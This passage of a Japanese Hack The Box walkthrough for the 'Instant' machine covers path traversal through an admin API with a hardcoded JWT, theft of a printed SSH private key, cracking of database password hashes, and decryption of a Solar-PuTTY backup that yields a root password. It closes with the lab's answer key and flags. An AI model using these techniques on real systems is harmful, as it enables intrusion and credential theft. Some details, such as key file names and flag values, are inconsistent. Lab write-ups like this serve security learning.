"5VNy/4CNnMdXALx0OMVNNoY1wPTAb0x/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r\n",
"bhd6Uh7ofGRW/5AAAAEXNoaXJvaGlnZUBpbnN0YW50AQ==\n",
"-----END OPENSSH PRIVATE KEY-----\n"
],
"Status": 201
}
(3) SSHの秘密鍵ファイル(/home/shirohige/.ssh/authorized_keys)を取得して、ファイルに保存する。
$ curl http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../../../home/shirohige/.ssh/id_rsa -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq -r '.[].[]' > shirohige.pem
$ cat shirohige.pem
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
(4) 取得した秘密鍵を用いてSSHでログインする。
$ chmod 600 shirohige.pem
$ ssh -i shirohige.pem shirohige@instant.htb
→shirohigeユーザーのプロンプト(shirohige@instant:~$)が表示される。
(5) 現在ログインしているユーザー情報を確認すると、shirohigeユーザーであることが分かる。
$ id
uid=1001(shirohige) gid=1002(shirohige) groups=1002(shirohige),1001(development)
$ whoami
shirohige
(6) 一般ユーザー用のフラグファイルを確認する。
$ ls -l
total 12
drwxrwxr-x 2 shirohige shirohige 4096 Oct 4 2024 logs
drwxrwxr-x 3 shirohige shirohige 4096 Oct 4 2024 projects
-rw-r----- 1 root shirohige 33 May 2 15:16 user.txt
$ cat /home/shirohige/user.txt
70403e995a4192f8c72371202566d428サーバの設定及びプロセス調査
(1) sudoコマンドの設定を確認しようとするが、パスワードが分からないため確認できない。
$ sudo -l
[sudo] password for shirohige:
(2) SUIDファイルを検索するが、特に気になるファイルはない。
$ find / -perm -u=s -type f 2> /dev/null
/usr/bin/sudo
/usr/bin/mount
/usr/bin/umount
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/lib/snapd/snap-confine
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
(3) Apacheの設定ファイル(000-default.conf)を確認する。
$ cat /etc/apache2/sites-enabled/000-default.conf | grep -v '\#'
<VirtualHost *:80>
ServerName instant.htb
RewriteEngine On
<Directory "/var/www/html">
AllowOverride All
Require all granted
</Directory>
RewriteCond %{HTTP_HOST} !^instant\.htb$ [NC]
RewriteRule ^(.*)$ http://instant.htb$1 [R=301,L]
ServerAdmin support@instant.htb
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
(4) Apacheの設定ファイル(instant-app.conf)を確認すると、8888番ポートでリバースプロキシで動作していることが分かる。
$ cat /etc/apache2/sites-enabled/instant-app.conf
<VirtualHost *:80>
ServerName mywalletv1.instant.htb
ProxyPreserveHost On
ProxyPass / http://localhost:8888/
ProxyPassReverse / http://localhost:8888/
</VirtualHost>
(5) Apacheの設定ファイル(swagger-ui.conf)を確認すると、8808番ポートでリバースプロキシで動作していることが分かる。
$ cat /etc/apache2/sites-enabled/swagger-ui.conf
<VirtualHost *:80>
ServerName swagger-ui.instant.htb
ProxyPreserveHost On
ProxyPass / http://localhost:8808/
ProxyPassReverse / http://localhost:8808/
</VirtualHost>
(6) 8808番ポートと8888番ポートで起動しているサービスを確認すると、プロセスIDが「pid=1356」と「pid=1352」で起動していることが分かる。
$ ss -lntp | grep -e 8808 -e 8888
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:* users:(("python3",pid=1352,fd=3))
LISTEN 0 128 127.0.0.1:8808 0.0.0.0:* users:(("python3",pid=1356,fd=3))
(7) プロセスIDが「1356」と「1352」で起動しているプロセスを確認すると、「/home/shirohige/projects/mywallet/myenv/bin/python3」を用いて「serve.py」と「app.py」を実行していることが分かる。
$ ps -ef | grep 1356
shirohi+ 1356 1 0 May02 ? 00:00:36 /home/shirohige/projects/mywallet/myenv/bin/python3 serve.py
shirohi+ 3077 3035 0 04:29 pts/0 00:00:00 grep --color=auto 1356
$ ps -ef | grep 1352
shirohi+ 1352 1 0 May02 ? 00:00:34 /home/shirohige/projects/mywallet/myenv/bin/python3 app.py
shirohi+ 3079 3035 0 04:29 pts/0 00:00:00 grep --color=auto 1352
(8) 「/home/shirohige/projects/mywallet/myenv/bin/」にどのようなファイルがあるか確認するが、特に気になるファイルがない。
$ ls -al /home/shirohige/projects/mywallet/myenv/bin/
total 60
drwxrwxr-x 2 shirohige shirohige 4096 Oct 4 2024 .
drwxrwxr-x 5 shirohige shirohige 4096 Oct 4 2024 ..
-rw-r--r-- 1 shirohige shirohige 9033 Aug 8 2024 Activate.ps1
-rw-r--r-- 1 shirohige shirohige 2068 Aug 8 2024 activate
-rw-r--r-- 1 shirohige shirohige 935 Aug 8 2024 activate.csh
-rw-r--r-- 1 shirohige shirohige 2214 Aug 8 2024 activate.fish
-rwxrwxr-x 1 shirohige shirohige 247 Aug 8 2024 dotenv
-rwxrwxr-x 1 shirohige shirohige 243 Aug 8 2024 flask
-rwxrwxr-x 1 shirohige shirohige 248 Aug 8 2024 jsonschema
-rwxrwxr-x 1 shirohige shirohige 268 Aug 8 2024 normalizer
-rwxrwxr-x 1 shirohige shirohige 256 Aug 8 2024 pip
-rwxrwxr-x 1 shirohige shirohige 256 Aug 8 2024 pip3
-rwxrwxr-x 1 shirohige shirohige 256 Aug 8 2024 pip3.12
lrwxrwxrwx 1 shirohige shirohige 7 Aug 8 2024 python -> python3
lrwxrwxrwx 1 shirohige shirohige 16 Aug 8 2024 python3 -> /usr/bin/python3
lrwxrwxrwx 1 shirohige shirohige 7 Aug 8 2024 python3.12 -> python3
(9) 「app.py」と「serve.py」ファイルの格納場所を検索すると、「/home/shirohige/projects/mywallet/Instant-Api/mywallet/」にあることが分かる。
$ find /home/shirohige/ -name "app.py"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/app.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/app.py
/home/shirohige/projects/mywallet/myenv/lib/python3.12/site-packages/flask/sansio/app.py
$ find /home/shirohige/ -name "serve.py"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/serve.py
(10) /home/shirohige/projects/mywallet/Instant-Api/mywallet内のファイルを確認する。
$ ls -al /home/shirohige/projects/mywallet/Instant-Api/mywallet
total 76
drwxr-xr-x 5 shirohige shirohige 4096 Oct 4 2024 .
drwxr-xr-x 4 shirohige shirohige 4096 Oct 4 2024 ..
-rw-r--r-- 1 shirohige shirohige 71 Aug 8 2024 .env
drwxrwxr-x 2 shirohige shirohige 4096 Oct 4 2024 __pycache__
-rw-r--r-- 1 shirohige shirohige 13255 Oct 2 2024 app.py
drwxr-xr-x 2 shirohige shirohige 4096 May 3 02:39 instance
-rw-r--r-- 1 shirohige shirohige 2231 Jul 21 2024 models.py
-rw-r--r-- 1 shirohige shirohige 584 Aug 2 2024 requirements.txt
-rw-r--r-- 1 shirohige shirohige 25488 Oct 4 2024 serve.py
drwxr-xr-x 2 shirohige shirohige 4096 Oct 4 2024 swagger_configs
(11) /home/shirohige/projects/mywallet/Instant-Api/mywallet内で気になるファイルを確認すると、環境変数ファイル(.env)は特に気になる情報はないが、app.pyファイルにinstant.dbというファイル名のDBを参照していることが分かる。
$ cat /home/shirohige/projects/mywallet/Instant-Api/mywallet/.env
SECRET_KEY=VeryStrongS3cretKeyY0uC4NTGET
$ cat /home/shirohige/projects/mywallet/Instant-Api/mywallet/app.py
ーーー(省略)ーーー
app = Flask(__name__)
app.config['SECRET_KEY'] = os.getenv("SECRET_KEY")
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///instant.db'
app.config['SQLALCHEMY_TRACK_MODIFICATION'] = True
db.init_app(app)
ーーー(省略)ーーー
(12) instant.dbファイルの格納場所を検索する。
$ find /home/shirohige/ -name "instant.db"
/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
(13) SCPでKali Linuxにinstant.dbファイルを取得する。
$ scp -i shirohige1.pem shirohige@instant.htb:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db .
(14) データベース(instant.db)の内容を確認すると、wallet_usersテーブルにinstantAdminユーザーとinstantAdminユーザーのパスワードハッシュ値を確認できる。
※Kali Linux上で以下のコマンドを実行する。
sqlite3 instant.db
→プロンプト(sqlite>)が返ってくる。
sqlite> .tables
wallet_transactions wallet_users wallet_wallets
sqlite> select * from wallet_users;
1|instantAdmin|admin@instant.htb|f0eca6e5-783a-471d-9d8f-0162cbc900db|pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978|2024-07-23 00:20:52.529887|87348|Admin|active
2|shirohige|shirohige@instant.htb|458715c9-b15e-467b-8a3d-97bc3fcf3c11|pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed|2024-08-08 20:57:47.909667|42845|instantian|active
sqlite> .exitパスワードハッシュ値の解析
(1) データベースから取得したパスワードハッシュ値をファイルに保存する。
※Kali Linux上で以下のコマンドを実行する。
$ echo 'pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978' > adminhash.txt
$ echo 'pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed' > shirohigehash.txt
(2) ハッシュ値を解析するためにWerkzeug-Crackerを実行する準備をする。
※Kali Linux上で以下のコマンドを実行する。
$ git clone https://github.com/AnataarXVI/Werkzeug-Cracker.git
$ cd Werkzeug-Cracker
$ pip3 install -r requirements.txt
※もし「error: externally-managed-environment」のエラーメッセージが表示された場合は以下のコマンドを実行する。
$ python3 -m venv ~/mypy
$ source ~/mypy/bin/activate
→「(mypy)」のプロンプトが表示される。
$ pip3 install -r requirements.txt
→正常にインストールされる。
(3) shirohigeのパスワードハッシュ値を解析すると、「estrella」であることが分かる。しかし、どこで使用するパスワードか分からないため、
※Kali Linux上で以下のコマンドを実行する。
$ python3 werkzeug_cracker.py -w /usr/share/wordlists/rockyou.txt -p /home/kali/Downloads/shirohigehash.txt
ーーー(省略)ーーー
Cracking pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed | | 105/14445389
Password found: estrella
(4) instantAdminのパスワードハッシュ値を解析するが、パスワードが分からなかった。
※Kali Linux上で以下のコマンドを実行する。
$ python3 werkzeug_cracker.py -w /usr/share/wordlists/rockyou.txt -p /home/kali/Downloads/adminhash.txt
ーーー(省略)ーーーSolar-PuTTYのファイル調査
(1) 攻撃対象のマシン(Instant)上で他にどのようなファイルがあるか調査すると、/opt/backups/Solar-PuTTYディレクトリがある。
※攻撃対象のマシン(Instant)上で以下のコマンドを実行する。
$ ls -la /opt/
total 12
drwxr-xr-x 3 root root 4096 Oct 4 2024 .
drwxr-xr-x 23 root root 4096 Oct 4 2024 ..
drwxr-xr-x 3 shirohige shirohige 4096 Oct 4 2024 backups
$ ls -la /opt/backups/Solar-PuTTY
total 12
drwxr-xr-x 2 shirohige shirohige 4096 Oct 4 2024 .
drwxr-xr-x 3 shirohige shirohige 4096 Oct 4 2024 ..
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 2024 sessions-backup.dat
(2) sessions-backup.datファイルの内容を確認する。
※攻撃対象のマシン(Instant)上で以下のコマンドを実行する。
$ cat /opt/backups/Solar-PuTTY/sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
(3) 「Solar-PuTTY」でGoogle検索すると、Windows マシン用のターミナル エミュレーターであることが分かる。
[Solar-PuTTYのURL]
https://www.solarwinds.com/free-tools/solar-putty
(4) SCPでKali Linuxにsessions-backup.datファイルを取得する。
$ scp -i shirohige1.pem shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat .
(5) 「Solar-PuTTY Decryption」でGoogle検索すると、GithubでSolarPuttyDecryptというツールが見つかりました。
[SolarPuttyDecryptorのURL]
https://github.com/Wind010/SolarPuttyDecryptor
(6) Solar-PuTTYのファイルをデコードするために、SolarPuttyDecryptorを実行する準備をする。
※Kali Linux上で以下のコマンドを実行する。
$ git clone https://github.com/Wind010/SolarPuttyDecryptor
$ cd SolarPuttyDecryptor
$ pip3 install -r requirements.txt
(7) Solar-PuTTYのファイルをデコードすると、SSH(22/tcp)でマシンに接続し、rootユーザーのパスワード(12**24nzC!r0c%q12)を入力した際の通信であることが分かる。
※Kali Linux上で以下のコマンドを実行する。
$ python3 SolarPuttyDecryptor.py /home/kali/Downloads/sessions-backup.dat --wordlist /usr/share/wordlists/john.lst
→以下の内容が出力される。
/home/kali/Downloads/SolarPuttyDecryptor/SolarPuttyDecryptor.py:31: CryptographyDeprecationWarning: TripleDES has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.TripleDES and will be removed from this module in 48.0.0.
cipher = Cipher(algorithms.TripleDES(key), modes.CBC(iv), backend=default_backend())
? Password=#!comment: This list has been compiled by Solar Designer of Openwall Project is incorrect!
(中略)
? Password=alexandra is incorrect!
? Correct password found on line 2089: estrella
?????
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:__ProgramData__SolarWinds__Logs__Solar-PuTTY__SessionLogs"
}
特権昇格(suコマンドの実行)
(1) suコマンドを実行して、特権昇格する。
$ su
→パスワード(12**24nzC!r0c%q12)を入力する。
(2) 現在ログインしているユーザー情報を確認すると、rootユーザーであることが分かる。
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
(3) 特権ユーザー用のフラグファイルを確認する。
$ cat /root/root.txt
0690c95e70741d31c98b8611ca0df1ef
[補足] Guided ModeのQA
・Task 1
問題(英語訳):How many open TCP ports are listening on Instant?
問題(日本語訳):Instant でリッスンしている開いている TCP ポートはいくつありますか?
答え:2
・Task 2
問題(英語訳):What is the name of the file the site is offering for download?
問題(日本語訳):サイトがダウンロード用に提供しているファイルの名前は何ですか?
答え:instant.apk
・Task 3
問題(英語訳):What is the full domain name used by the application to make API requests?
問題(日本語訳):アプリケーションが API リクエストを行うために使用する完全なドメイン名は何ですか?
答え:mywalletv1.instant.htb
・Task 4
問題(英語訳):What is the full domain name for the interactive API documentation?
問題(日本語訳):インタラクティブ API ドキュメントの完全なドメイン名は何ですか?
答え:swagger-ui.instant.htb
・Task 5
問題(英語訳):What is the name of the Java class contains a hardcoded authorization token?
問題(日本語訳):ハードコードされた認証トークンを含む Java クラスの名前は何ですか?
答え:AdminActivities
・Task 6
問題(英語訳):What is the name of the file that is intended to be read through admin the API?
問題(日本語訳):管理 API を通じて読み取ることを意図したファイルの名前は何ですか?
答え:1.log
・Task 7
問題(英語訳):What is the full path of the private SSH key that can be read by the API?
問題(日本語訳):API で読み取ることができる秘密 SSH キーのフルパスは何ですか?
答え:/home/shirohige/.ssh/id_rsa
・Submit User Flag
問題(英語訳):Submit the flag located in the shirohige user's home directory.
問題(日本語訳):shirohige ユーザーのホームディレクトリにあるフラグを送信します。
答え:cfcc8d33b15eb275372edb1e8229ff14
※「/home/shirohige/user.txt」ファイルの内容
・Task 9
問題(英語訳):What is the full path of the database file used by the API?
問題(日本語訳):API で使用されるデータベース ファイルのフル パスは何ですか?
答え:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db
・Task 10
問題(英語訳):What is the shirohige user's password for the API?
問題(日本語訳):shirohige ユーザーの API パスワードは何ですか?
答え:estrella
・Task 11
問題(英語訳):What is the full path of the session backup file readable by the shirohige user?
問題(日本語訳):shirohige ユーザーが読み取り可能なセッションバックアップファイルのフルパスは何ですか?
答え:/opt/backups/Solar-PuTTY/sessions-backup.dat
・Task 12
問題(英語訳):What is the root user's password on Instant?
問題(日本語訳):Instant のルートユーザーのパスワードは何ですか?
答え:12**24nzC!r0c%q12
・Submit Root Flag
問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。
答え:0690c95e70741d31c98b8611ca0df1ef
※「/root/root.txt」ファイルの内容。
関連記事(Hack The Box)
※後日作成予定。

